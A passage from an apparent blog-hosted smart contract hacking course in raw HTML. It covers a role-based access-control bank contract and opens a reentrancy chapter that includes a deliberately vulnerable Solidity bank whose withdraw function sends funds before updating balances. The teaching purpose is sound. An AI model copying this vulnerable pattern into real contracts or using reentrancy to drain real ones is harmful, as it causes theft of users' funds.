#e28964;">function</span><span style="color: white;"> deposit() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">if</span><span style="color: white;"> (!(hasRole(admin, msg.sender))){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>_setupRole(user, msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">18.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-tab-count: 1;"> </span>balances[msg.sender] = balances[msg.sender]+msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">19.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">20.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">21.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw(</span><span style="color: #e28964;">uint</span><span style="color: white;"> amount) </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">22.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(hasRole(user, msg.sender), </span><span style="color: #65b042;">"Not a user of this bank"</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">23.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;"> (balances[msg.sender] >= amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">24.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">25.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>msg.sender.transfer(amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">26.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">27.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">28.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> kill() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">29.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(hasRole(admin, msg.sender), </span><span style="color: #65b042;">"Not an administrator"</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">30.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>selfdestruct(msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">31.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">32.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal">Once you have the roleBased contract deployed you will
notice a few changes from the simpleAuth version. First, we are importing the
OpenZeppelin libraries which imports all of the prerequisite needs for the
role-based access control into Remix. <o:p></o:p></p>
<p class="MsoNormal">Secondly, on lines 6-7 we are creating both a user and admin
role identifiers. If you take a look at the documentation link from the
references at the end of this section it states that the role identifier must
be created as a bytes32 hash. We create these as a bytes32 type and hash them
with keccak256 which is essentially the equivalent of a sha3 hash function.
This type of hashing is standard on Ethereum’s consensus engine for producing
blocks. Keccak256 is often seen as the hashing function within Solidity smart
contracts. <o:p></o:p></p>
<p class="MsoNormal">The constructor was updated to execute the _setupRole
function from OpenZeppelin. This sets the admin user as the user who initially
deployed the contract. In this case we used our first account, so our first
account is our admin user.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<p class="MsoNormal">The user account is then setup within the deposit function
on line 16 for every user who deposits funds and is not already an
administrator, as we don’t want to overwrite the admin role with the user role.
This would be a business logic error that eliminated all admin accounts, which
would be bad.<span style="mso-spacerun: yes;"> </span>When you deposit funds as
the second account your address will be associated with a regular user role.<o:p></o:p></p>
<p class="MsoNormal">As an example of how authorization is handled with role
identifiers take a look at lines 22 and 29.<span style="mso-spacerun: yes;">
</span>On line 22 if you have not already deposited funds you will not have a
user role so you cannot withdraw funds. You will be given an error when
checking the hasRole requirement. <o:p></o:p></p>
<p class="MsoNormal">Try this out with a user who has not deposited funds
yet.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<p class="MsoNormal">Finally, within the kill function on line 29 you will see a
check for an admin role identifier. If the account address calling kill does
not have this associated role identifier, an error is displayed and the
transaction will not process. <o:p></o:p></p>
<p class="MsoNormal">Try the kill function with your second user and take a look
at your output window. It should turn red and show that error.<span style="mso-spacerun: yes;"> </span>Now if you switch back to your admin user on
the first account you can successfully kill the contract. <o:p></o:p></p>
<p class="MsoNormal">Note that you can also enumerate, grant and revoke user
roles. Check out the references section below for more information if you are
interested in that functionality. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892519">Authorization Summary:</a> <o:p></o:p></h2>
<p class="MsoNormal">I hope this chapter was enlightening on how authorization is
handled on the blockchain and the dangers of not having authorization on
sensitive functions. In the lab package for the certification and on the final
CTF exam, there will be many occurrences of authorization which you can further
test your business logic and authorization bypass attacking skills. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892521">Authorization References</a><o:p></o:p></h2><div><a href="https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/authorization" name="_Toc47892521" target="_blank"><span style="color: #6fa8dc;">https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/authorization</span></a></div>
<p class="MsoNormal"><a href="https://docs.openzeppelin.com/contracts/3.x/access-control"><span style="color: #6fa8dc;">https://docs.openzeppelin.com/contracts/3.x/access-control</span></a>
<span style="color: #3d85c6;"><o:p></o:p></span></p>
<p class="MsoNormal"><a href="https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/access"><span style="color: #6fa8dc;">https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/access</span></a><o:p></o:p></p>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-2194100027812549352020-09-06T18:09:00.007-07:002022-02-18T19:51:45.317-08:00Smart Contract Hacking Chapter 4 – Attacking Reentrancy Vulnerabilities<p> </p>
<h2><a name="_Toc47892492">Reentrancy Intro</a><o:p></o:p></h2>
<p class="MsoNormal">In this chapter we will take a look at bypassing incorrectly
coded value transaction patterns within Ethereum smart contracts. These
incorrectly coded patterns can lead to Reentrancy attacks that ultimately allow
an attacker to liquidate the contract of all of its funds without much effort. The
incorrect order of operations allows an attacker to avoid require statements which
check if a user’s balance is high enough to send a transaction. We can use this
to bypass incorrect logic patterns and drain a contract of its funds.<o:p></o:p></p>
<p class="MsoNormal">Reentrancy attacks allow an attacker to create a loop between a target contract and a malicious attacker owned contract. Instead
of a normal user making a request, the request comes from the attacker’s contract
which does not let the target contracts execution complete until the evil tasks
intended by the attacker are complete. Usually this task will be draining the funds
out of the contract bit by bit until all of the contracts funds are transferred
to the attacker’s contract. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892493">Checks Effects Interactions Pattern</a><o:p></o:p></h2>
<p class="MsoNormal">The checks effects interactions pattern is a secure coding
pattern within Solidity on Ethereum which prevents an attacker from re-entering
a contract over and over. It does this by ensuring that balances are updated
correctly before sending a transaction. It does this by: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Checking that the requirements are met before
continuing execution.</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Updating balances and making changes before
interacting with an external actor</p><p class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Finally, after the transaction is validated and the
changes are made interactions are allowed with the external entity</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo1; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo1; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo1; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoNormal">The incorrectly coded pattern that usually creates a
vulnerable smart contract is the common sense approach that first checks if a
user’s balance is large enough for the transaction, then sends the funds to the
user. Once the transaction goes through, without error, the amount is
subtracted from the user’s balance.<o:p></o:p></p>
<p class="MsoNormal">The problem is that if a hacker’s contract calls the target
smart contract rather than a valid user calling the contract, the hacker’s
contract can run code in a loop. The
hacker can call the same function in the target contract again without ever
reaching the code that subtracts from the user’s balance. This means that the
initial balance check that passed the first time will pass again and again and
again because it is at the same balance that passed the first time. You see
where this is going right? The transaction will continue until the balance for
the whole contract is empty, rather than just the users balance. Let’s take a look at a simple example in order
to understand how this works.</p>
<h2><o:p> </o:p></h2>
<h2><a name="_Toc47892494">Simple Reentrancy Example Code</a><o:p></o:p></h2>
<p class="MsoNormal">The following is a simple example of a banking smart
contract with the ability to deposit, withdraw and check your current balance.</p>
<p class="MsoNormal">Action Items: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p class="MsoListParagraph" style="mso-list: l6 level1 lfo8; text-align: left; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Review the code and discover where the coding
pattern violation is located before reading further or watching the video. </p></blockquote><p class="MsoListParagraph" style="mso-list: l6 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoNormal">Questions to ask yourself:<o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l6 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Is the coding pattern we spoke about above
correct? </p><p class="MsoListParagraphCxSpLast" style="mso-list: l6 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->If not, where do the issues reside? and what about
this code flow creates a vulnerable transaction state? </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l6 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l6 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;">pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;">contract simpleReentrancy {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> mapping (address => </span><span style="color: #e28964;">uint</span><span style="color: white;">) </span><span style="color: #e28964;">private</span><span style="color: white;"> balances;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> deposit() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">require</span><span style="color: white;">((balances[msg.sender] + msg.</span><span style="color: #e28964;">value</span><span style="color: white;">) >= balances[msg.sender]);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">8.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> balances[msg.sender] += msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">9.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">10.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">11.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw(</span><span style="color: #e28964;">uint</span><span style="color: white;"> withdrawAmount) </span><span style="color: #e28964;">public</span><span style="color: white;"> returns (</span><span style="color: #e28964;">uint</span><span style="color: white;">) {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">12.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">require</span><span style="color: white;">(withdrawAmount <= balances[msg.sender]);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">13.</span><!--[endif]--><span style="color: white;"> msg.sender.call.</span><span style="color: #e28964;">value</span><span style="color: white;">(withdrawAmount)(</span><span style="color: #65b042;">""</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">14.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">15.</span><!--[endif]--><span style="color: white;"> balances[msg.sender] -= withdrawAmount;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">16.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">return</span><span style="color: white;"> balances[msg.sender];<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">17.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">18.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">19.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> getBalance() </span><span style="color: #e28964;">public</span><span style="color: white;"> view returns (</span><span style="color: #e28964;">uint</span><span style="color: white;">){<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">20.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">return</span><span style="color: white;"> balances[msg.sender];<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">21.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">22.</span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
